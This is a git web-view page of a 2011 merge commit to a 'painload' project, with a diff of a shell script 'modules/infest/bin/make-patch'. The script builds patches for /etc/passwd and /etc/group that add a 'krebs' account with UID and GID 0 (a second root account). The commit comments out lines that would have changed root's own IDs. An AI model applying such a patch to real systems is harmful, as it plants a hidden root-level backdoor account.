diff options
author | tv <tv@also> | 2011-05-28 15:33:14 +0200 |
---|---|---|
committer | tv <tv@also> | 2011-05-28 15:33:14 +0200 |
commit | 20603cdbf62812f1df460a245aa19598adde8f69 (patch) | |
tree | 8e3c276c232a9f86f5a99c43377542f99af87853 /modules | |
parent | 74ce93d9fd57eea755bcf56d84edc9d19099d7a7 (diff) | |
parent | 03f8c7e0e3a535ea8cfee5f88f646bdc1c456ef5 (diff) |
Merge branch 'master' of github.com:krebscode/painload
Diffstat (limited to 'modules')
-rwxr-xr-x | modules/infest/bin/make-patch | 4 |
1 files changed, 2 insertions, 2 deletions
diff --git a/modules/infest/bin/make-patch b/modules/infest/bin/make-patch index 5c5253e2..6f26e745 100755 --- a/modules/infest/bin/make-patch +++ b/modules/infest/bin/make-patch @@ -6,7 +6,7 @@ trap "test -e $t && rm $t; test -e $p && rm $p" EXIT INT f=/etc/passwd cat $f >$t -sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $t +#sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $t sed -ri '/^krebs/d' $t echo "krebs:x:0:0::$HOME:/bin/bash" >>$t diff -Naur $f $t >>$p @@ -19,7 +19,7 @@ diff -Naur $f $t >>$p f=/etc/group cat $f >$t -sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $ft +#sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $t sed -ri '/^krebs/d' $t echo 'krebs:x:0:' >>$t diff -Naur $f $t >>$p |